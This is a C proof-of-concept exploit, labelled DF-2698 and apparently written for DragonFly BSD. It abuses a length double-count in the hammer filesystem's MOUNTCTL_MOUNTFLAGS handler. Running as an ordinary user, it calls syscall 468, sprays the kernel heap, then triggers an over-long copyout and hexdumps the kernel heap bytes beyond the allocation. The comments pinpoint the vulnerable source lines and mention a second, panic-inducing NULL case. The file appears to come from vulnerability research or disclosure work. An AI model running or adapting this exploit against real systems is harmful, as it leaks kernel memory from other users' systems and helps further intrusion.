/* DF-2698 PoC -- hammer(1) MOUNTCTL_MOUNTFLAGS result-length double-count
 *   hammer_vnops.c:2571-2580: *ap->a_res += usedbytes   (usedbytes already
 *   contains *ap->a_res)  ->  result = 2*U + R instead of U + R.
 * Sink: sys_mountctl() vfs_syscalls.c:1334-1335
 *   copyout(buf, uap->buf, sysmsg_result)  -- buf is kmalloc(buflen+1).
 * With buflen = U+1 the kernel copies out 2*U bytes => reads past the
 * kernel allocation => unprivileged kernel heap disclosure.
 *
 * MOUNTCTL_MOUNTFLAGS is explicitly UNPRIVILEGED (vfs_syscalls.c:1281).
 * Runs as an ordinary user on the root of a mounted hammer(1) fs.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

long dfly_mountctl(const char *, long, long, void *, long, void *, long);

/* syscall 468 = mountctl(path, op, fd, ctl, ctllen, buf, buflen) */
long
dfly_mountctl(const char *path, long op, long fd, void *ctl, long ctllen,
	      void *buf, long buflen)
{
	return (syscall(468, path, op, fd, ctl, ctllen, buf, buflen));
}

static void
hexdump(const unsigned char *p, int n)
{
	int i;

	for (i = 0; i < n; i++) {
		if (i % 16 == 0)
			printf("  %04x:", i);
		printf(" %02x", p[i]);
		if (i % 16 == 15)
			printf("\n");
	}
	if (n % 16)
		printf("\n");
}

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/hmnt";
	unsigned char out[1024];
	unsigned char spray[256];
	long ret;
	int U, i;

	/* pass 1: learn the flag-string length U; kernel claims 2*U bytes */
	memset(out, 0, sizeof(out));
	errno = 0;
	ret = dfly_mountctl(path, 18, -1, NULL, 0, out, (long)sizeof(out) - 1);
	if (ret < 0) {
		fprintf(stderr, "pass1 mountctl failed: %s\n", strerror(errno));
		return (1);
	}
	U = (int)strlen((char *)out);
	printf("pass1: kernel returned %ld bytes; string in buffer is %d "
	       "bytes: \"%s\"\n", ret, U, out);
	if (ret != 2 * U) {
		printf("pass1: ret(%ld) != 2*U(%d); hammer hflags suffix "
		       "present (R=%ld) -- double-count still present\n",
		       ret, U, ret - 2 * U);
	}

	/*
	 * Spray recognizable M_TEMP content (ctl buffers get kfree()d).
	 * NOTE: buflen must be > 0 -- buflen==0 leaves buf==NULL and trips
	 * the (already-known, DF-2667) strlen(NULL) panic in vfs_flagstostr.
	 */
	memset(spray, 'B', sizeof(spray));
	for (i = 0; i < 32; i++)
		dfly_mountctl(path, 18, -1, spray, U + 1, spray, 1);

	/* pass 2: buflen = U+1 -> kernel allocates U+1 bytes, copies out 2U */
	memset(out, 0, sizeof(out));
	errno = 0;
	ret = dfly_mountctl(path, 18, -1, NULL, 0, out, U + 1);
	if (ret < 0) {
		fprintf(stderr, "pass2 mountctl failed: %s\n", strerror(errno));
		return (1);
	}
	printf("pass2: buflen=%d (kernel kmalloc'd %d bytes incl NUL); "
	       "kernel copied out %ld bytes\n", U + 1, U + 1, ret);
	printf("legitimate buffer content (U=%d + NUL):\n", U);
	hexdump(out, U + 1);
	printf("bytes [%d..%ld) are PAST the kernel allocation:\n", U + 1, ret);
	hexdump(out + U + 1, (int)(ret - (U + 1)));

	return (0);
}
